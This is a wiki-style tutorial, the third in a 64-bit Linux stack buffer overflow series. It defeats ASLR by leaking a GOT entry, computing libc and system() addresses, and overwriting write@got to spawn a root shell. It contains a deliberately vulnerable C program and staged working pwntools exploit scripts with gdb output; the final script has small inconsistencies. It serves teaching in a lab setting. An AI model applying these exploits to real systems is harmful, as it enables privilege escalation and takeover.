en:it-security:blog:buffer_overflow_x64-3

Approved 2024/04/14 12:47 by psycore (version: 4) | Approver: psycore

Buffer overflow in the 64-bit stack - Part 3

In Part 2 we used the string /bin/zsh to the function System() function to open a root shell. To do this, however, we had to deactivate ASLR - ASLR changes function addresses every time the programme is restarted. Superkojiman describes in detail in his Blog1) how to circumvent this protection. But first we have to visualise a few things

The third part of the Buffer Overflow series.

In Linux systems, dynamic programme libraries are usually used. This has the advantage that we do not have to rewrite every function in every programme, but can simply access the function of the system, which, for example, is stored in libc for example. If ASLR is now activated, the addresses are changed each time the programme is started.

PLT and GOT

PLT (Procedure Linkage Table) and GOT (Global Offset Table) are responsible for the interaction during dynamic linking. The function write() function does not point to the actual function when called, but to write@plt. The GOT entry for the function is then requested from the PLT.

The GOT now contains all libc addresses and PLT redirects the execution to them. If the address does not yet exist, ld.so searches for it and saves it in the GOT. We can now utilise this principle.2)

Leak and Overwrite

To get to our root shell, we now have to do the following:

  1. We leak the GOT entry for the function write()
  2. We need the base address for libcto be able to calculate the addresses of other functions. The libc-base address is the difference between the address of memset() and the write()-offset from libc.so.6
  3. We obtain the address of a library function by calling the respective libc.so.6offset with the libc-base address
  4. In the GOT, we overwrite an address with the one from system()so that we can issue a system command when calling the function
[-------------------------------------code-------------------------------------]
   0x4011de <vuln+109>: lea    rax,[rbp-0xa0]
   0x4011e5 <vuln+116>: mov    rsi,rax
   0x4011e8 <vuln+119>: mov    edi,0x1
=> 0x4011ed <vuln+124>: call   0x401030 <write@plt>
   0x4011f2 <vuln+129>: mov    eax,0x0
   0x4011f7 <vuln+134>: leave



python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools



The source code and the compiled binary are also available on Github.

bof-part3.c
/* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */
/* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3          */
/* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */
 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
void helper() {
    asm("pop %rdi; pop %rsi; pop %rdx; ret");
}
 
int vuln() {
    char buf[150];
    ssize_t b;
    memset(buf, 0, 150);
    printf("Enter input: ");
    b = read(0, buf, 400);
 
    printf("Recv: ");
    write(1, buf, b);
    return 0;
}
 
int main(int argc, char *argv[]){
    setbuf(stdout, 0);
    vuln();
    return 0;
}



Attention!

The techniques and methods in this article are for learning purposes only. Misuse is punishable!

The supplied socat has mechanisms to protect the memory. There is a modified version on Github in the Dependencies section.

/dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3



We check where the path to the libc is:

ldd bof-part3
        linux-vdso.so.1 (0x00007ffe5d956000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000)

We then find the offset for write() function:

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 
  2839: 00000000000f7af0   157 FUNC    WEAK   DEFAULT   16 write@@GLIBC_2.2.5



We now have to find out at which point write() is called.

   0x4011e8 <vuln+119>: mov    edi,0x1
=> 0x4011ed <vuln+124>: call   0x401030 <write@plt>
   0x4011f2 <vuln+129>: mov    eax,0x0

The call is made at 0x4011ed and we set our breakpoint here.

echo "br *0x4011ed" >> ~/.gdbinit



gdb -q -p `pidof socat`
Breakpoint 1 at 0x4011ed
Attaching to process 111187



We connect with nc and trigger the breakpoint.

nc localhost 2323
Enter input: 123
Recv: 123



Once our breakpoint is reached, we search for the write GOT address

gdb-peda$ x/gx 0x404000
0x404000 <write@got.plt>:       0x0000000000401036
gdb-peda$ x/5i 0x0000000000401036
   0x401036 <write@plt+6>:      push   0x0
   0x40103b <write@plt+11>:     jmp    0x401020
   0x401040 <setbuf@plt>:       jmp    QWORD PTR [rip+0x2fc2]        # 0x404008 <setbuf@got.plt>
   0x401046 <setbuf@plt+6>:     push   0x1
   0x40104b <setbuf@plt+11>:    jmp    0x401020

We go one step further without jumping into the function. Then we search again.

next
gdb-peda$ x/gx 0x404000
0x404000 <write@got.plt>:       0x00007f559dd76af0
gdb-peda$ x/5i 0x00007f559dd76af0
   0x7f559dd76af0 <__GI___libc_write>:  cmp    BYTE PTR [rip+0xe3ae1],0x0        # 0x7f559de5a5d8 <__libc_single_threaded>
   0x7f559dd76af7 <__GI___libc_write+7>:        je     0x7f559dd76b10 <__GI___libc_write+32>
   0x7f559dd76af9 <__GI___libc_write+9>:        mov    eax,0x1
   0x7f559dd76afe <__GI___libc_write+14>:       syscall
   0x7f559dd76b00 <__GI___libc_write+16>:       cmp    rax,0xfffffffffffff000

At this point, the address points to write()

So let's write a first exploit to write() to leak.

buf3-stage1.py
#!/usr/bin/env python
 
from pwn import *
 
pop3ret    = 0x40116a                # Unser pop rdi; pop rsi; pop rdx; ret; gadget
bin=ELF("./bof-part3")
 
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
 
buf = b"A"*168                        # RIP Offset
buf += p64(pop3ret)                   # POP Argumente
buf += p64(constants.STDOUT_FILENO)   # stdout
buf += p64(bin.got[b'write'])         # lese von write@got
buf += p64(0x8)                       # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
buf += b'EOPAY'                       # Ende des Payloads
 
 
print("[+] send payload")
s.send(buf)                           # buf überschreibt RIP
s.recvuntil(b'EOPAY')                 # Empfange Daten bis EOPAY
print("[+] recvd \'EOPAY\'")
 
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))

We run the whole thing and get the following output

[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f6805548e80
[*] Closed connection to 127.0.0.1 port 2323

The first address has been leaked.

Now we need the libc base address and the address of system(). We calculate these as follows:

  • $base(libc) = got(write) - offset(write)$
  • $address(system) = base(libc) + offset(system)$

We get the offset address like this:

┌──(kali㉿kali)-[~/repo]
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  1022: 000000000004c920    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5

So we revise our exploit:

buf3-stage2.py
#!/usr/bin/env python
from pwn import *
 
pop3ret    = 0x40116a                # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget
write_off  = 0x0f7af0
system_off = 0x04c920
bin=ELF("./bof-part3")
 
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
 
buf = b"A"*168                        # RIP offset
buf += p64(pop3ret)                   # POP Argumente
buf += p64(constants.STDOUT_FILENO)   # stdout
buf += p64(bin.got[b'write'])         # lese von write@got
buf += p64(0x8)                       # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
buf += b'EOPAY'                       # Ende des Payloads
 
print("[+] send payload")
s.send(buf)           
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
 
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
 
libc_base = got_leak - write_off     # Berechne libc Basis
print("[+] libc base is at", hex(libc_base) )
 
system_addr = libc_base + system_off # Berechne system Adresse
 
print("[+] system() is at", hex(system_addr) )

And now let's look at the output:

[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f73dc1c7e80
[+] libc base is at 0x7f73dc12c340
[+] system() is at 0x7f73dc178c60
[*] Closed connection to 127.0.0.1 port 2323



For the last section, we need a writable memory area. To do this, we list the memory allocations in gdb.

gdb-peda$ info proc mappings
process 105836
Mapped address spaces:
 
          Start Addr           End Addr       Size     Offset  Perms  objfile
            0x400000           0x401000     0x1000        0x0  r--p   /home/kali/repo/bof-part3
            0x401000           0x402000     0x1000     0x1000  r-xp   /home/kali/repo/bof-part3
            0x402000           0x403000     0x1000     0x2000  r--p   /home/kali/repo/bof-part3
            0x403000           0x404000     0x1000     0x2000  r--p   /home/kali/repo/bof-part3
            0x404000           0x405000     0x1000     0x3000  rw-p   /home/kali/repo/bof-part3
      0x7f0f6fb35000     0x7f0f6fb38000     0x3000        0x0  rw-p 

The range 0x404000 - 0x405000 is writable and static. Let's take a closer look at this.

gdb-peda$ x/30i 0x404000
...
   0x404027 <read@got.plt+7>:   add    BYTE PTR [rax],al
   0x404029:    add    BYTE PTR [rax],al
   0x40402b:    add    BYTE PTR [rax],al
...

0x404029 should be perfect for our purpose.

buf3-stage3.py
#!/usr/bin/env python
 
from pwn import *
 
pop3ret    = 0x40116a                 # Unser pop rdi; pop rsi; pop rdx; ret; gadget
write_off  = 0x0f7af0
system_off = 0x04c920
writable   = 0x404029
bin=ELF("./bof-part3")
 
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
 
buf = b"A"*168                        # padding to RIP's offset
buf += p64(pop3ret)                   # POP Argumente
buf += p64(constants.STDOUT_FILENO)   # stdout
buf += p64(bin.got[b'write'])         # lese von write@got
buf += p64(0x8)                       # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
 
# Teil 2: schreibe system Adresse in write got mittels read
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(bin.got[b'write'])          #write@got
buf+=p64(0x8)
buf+=p64(bin.plt[b'read'])           #read@plt
 
# Teil 3: schreibe /bin/sh in beschreibbare Adresse
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(writable)
buf+=p64(0x8)
buf+=p64(bin.plt[b'read'])
 
# Teil 4: rufe system auf
buf+=p64(pop3ret)
buf+=p64(writable)
buf+=p64(0xdeadbeef)
buf+=p64(0xcafebabe)
buf+=p64(bin.plt[b'write'])
 
buf += b'EOPAY'
 
 
print("[+] send payload")
s.send(buf)                           # buf überschreibt RIP
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
 
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
 
#s2
 
libc_base=got_leak-write_off
print(hex(lib.symbols[b'write']))
print("[+] libc base is at {}".format(hex(libc_base)))
 
system_addr=libc_base+system_off
print(hex(lib.symbols[b'system']))
print("[+] system() is at {}".format(hex(system_addr)))
 
#part 2
print("[+] sending system() address")
s.send(p64(system_addr))
#part 3
print("[+] sending /bin/zsh")
s.send(b'/bin/zsh')
#part 4
print("[+] trying shell")
s.interactive()



The exploit with further pwntools optimisations and automated socat start can be found in the Github repository. The exploit was originally written by Zopho Oxx 4)

We start socat and bof-part3 as root

su root
 
┌──(root㉿kali)-[/home/kali/repo]
└─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3

and then the exploit as an unprivileged user

┌──(kali㉿kali)-[~/repo]
└─$ python3 buffer3.py

We get our root shell and have control over the system.



Project files nosoc-repo-bof-part3.zip ZIP
Size 9.93 KB
Prüfsumme (SHA256) d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8

Enter your comment:
49 -1 =
 
  • en/it-security/blog/buffer_overflow_x64-3.txt
  • Last modified: 2024/04/14 12:47
  • by psycore